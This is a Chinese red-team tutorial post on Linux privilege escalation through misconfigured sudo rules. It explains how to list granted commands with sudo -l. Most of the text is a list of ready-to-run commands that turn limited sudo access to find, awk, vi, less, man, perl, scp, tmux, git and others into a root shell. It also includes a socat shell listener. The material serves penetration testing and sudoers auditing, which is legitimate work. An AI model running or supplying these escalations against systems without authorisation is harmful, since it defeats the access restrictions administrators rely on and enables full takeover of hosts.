当前位置:首页>Linux>红队实战:Linux 提权 —— sudo 权限滥用与绕过技巧(上篇)

红队实战:Linux 提权 —— sudo 权限滥用与绕过技巧(上篇)

  • 2026-10-06 20:44:39
红队实战:Linux 提权 —— sudo 权限滥用与绕过技巧(上篇)

红队实战:Linux 提权 —— sudo 权限滥用与绕过技巧(上篇)

利用前提

  1. 1. 已知当前低权限账户的密码(sudo 执行命令需验证密码);
  2. 2. 当前用户被 sudoers 配置授权执行部分/全部命令(核心前提)。

容易产生的误区

❌默认所有用户都能直接 sudo 拿 root shell

以 perl 命令举个例子

sudo perl -e 'exec "/bin/bash";'

有的读者认为:输个 sudo 密码就能 root,那这个 perl 命令不是多此一举吗?

✅ 这只在 靶场/宽松 环境成立(管理员给了你全盘 sudo 权限)。

❌ 实战环境中,通常不会这么配置。

Liunx 的 sudo 策略是精细化授权:

管理员只会给你开放极少数特定命令的 sudo 权限,绝对禁止你直接执行 bash/su/sudo -i。

场景:管理员给你的 sudo 权限是【仅允许执行 perl】

服务器 /etc/sudoers 配置如下(这是高危错误配置):

# 允许普通用户 test 只能用sudo执行 perl 命令,其他任何命令都禁止!test  ALL=(ALL)  /usr/bin/perl

此时你尝试直接拿 root,会直接被拒绝:

sudo -i         # 报错:抱歉,你没有权限sudo su         # 报错:权限不足sudo /bin/bash  # 报错:权限不足

你只有sudo perl的权限,没有直接 root 的权限。

提权操作:用 perl 绕过限制。

这时候你执行:

sudo perl -e 'exec "/bin/bash";'

结果:直接弹出 root shell。

这就是提权:从「只能 sudo 执行 perl 的受限用户」→ 升级为「拥有完整控制权的 root 用户」。

补充:什么时候这个命令没用?

只有一种情况:

管理员已经给你开了无限制 sudo 权限(ALL=(ALL) ALL),

那你直接 sudo -i 就能 root,这个 perl 命令确实多余。

简单说:它是用来「钻 sudo 权限限制的空子」,不是用来替代正常的 sudo 登录。

这是 sudo 配置不当导致的命令执行绕过提权,属于 sudo 权限滥用。

核心说明:交互 Shell 区别

实操前先明确两类 Shell 的差异,避免操作踩坑:

  • • 全交互 shell:!/bin/bash,支持退格键、光标移动等交互操作;
  • • 非全交互 shell:!sh,仅基础输入输出,不支持退格,下文不再单独说明。

前置检测命令

查看当前用户可执行的 sudo 命令(最关键)

sudo -l  # 列出当前用户被授权以 root 执行的所有命令(核心命令)sudo -ll # 更详细的权限说明(包含命令限制、是否免密等)

注:以下所有提权案例,均基于 sudo -l 查出的可执行命令展开;若 sudo -l 显示用户可执行 ALL 命令(无限制),直接执行 sudo /bin/bash 即可直接获取 root shell。

sudo 提权常用命令实操

以下为经丰富实战总结出的可利用的 sudo 提权命令,附实操命令和效果截图:

find

全交互 shell

sudo find /etc -exec /bin/bash -i \;

非全交互 shell

sudo find /etc -exec sh -i \;

awk

全交互 shell

sudo awk 'BEGIN {system("/bin/bash")}'

非全交互 shell

sudo awk 'BEGIN {system("/bin/sh")}'

socat(反向 Shell 提权)

步骤 1:服务端(本机)监听端口

sudo socat tcp-listen:1234,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane

步骤 2:本地连接监听端口

socat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:1234

ed

sudo ed!sh

git

步骤 1:执行命令进入 git 帮助页面

sudo git help config

步骤 2:在帮助页面左下角出现提示时,输入!/bin/bash(全交互)或!sh(非全交互),回车跳转到 root shell。

提权成功

备选命令(若上述无效)

sudo git -p help

vi

步骤 1:以 sudo 权限打开 vi

sudo vi

步骤2:按下ESC键,输入:!/bin/bash并回车。

提权成功,跳转到 root shell。

bash

sudo /bin/bash

less

步骤 1:以 sudo 权限打开文件:

sudo less /etc/hosts

步骤 2:在 less 页面输入!/bin/bash,

回车跳转到 root shell。

man

步骤1:以 sudo 权限打开 man 手册

sudo man ls

步骤2:在 man 页面输入!/bin/bash

回车跳转到 root shell。

env

sudo env /bin/bash

ftp

步骤1:先输入

sudo ftp

步骤2:在 ftp 交互界面输入!/bin/bash,回车跳转到 root shell。

perl

sudo perl -e 'exec "/bin/bash";'

scp

TF=$(mktemp)echo '/bin/bash 0<&2 1>&2' > $TFchmod +x "$TF"sudo scp -S $TF x y:

tmux

步骤1:输入 sudo tmux

步骤2:回车跳转到 root shell


- END -

Happy Hacking!🚀

欢迎关注我的公众号「倍果科技」,专注于红队攻防技术的前沿探索与深度分享。我们不仅定期分享红队实战的独到思路与创新打法,更将为您带来最新的0day、1day漏洞情报,助您始终站在安全技术的最前沿。

🌟 温馨提示:微信推送规则调整后,设为星标的公众号才能第一时间看到大图推送哦!

为了避免错过干货文章,请点击右上角「…」→ 选择「设为星标」⭐


📱 加入技术交流群如果你想加入我们的技术交流群,请添加我的微信号,备注「安全技术交流」,我会邀请您进入群聊。(由于群成员已满200人,无法通过扫描二维码直接加入),期待与您在技术交流群中相遇,一起碰撞思维的火花,分享安全技术的无限可能!🚀

免责声明

本文章仅供学习和研究用途。请勿将文章中的技术用于任何非法活动。因使用本文提供的信息或工具所导致的任何直接或间接后果与损失,均由使用者自行承担,作者及平台对此不承担任何责任。

文章中的信息和工具均收集自互联网,使用者需自行验证其真实性与安全性。如有侵权行为,请联系以便及时删除。

再次提醒,任何非法使用与本文章作者和平台无关,责任由使用者自行承担。

往期推荐文章

当杀软封死所有下载通道时 红队如何用系统自带组件杀出重围?

记一次红队项目经历分享(上)

最新文章

随机文章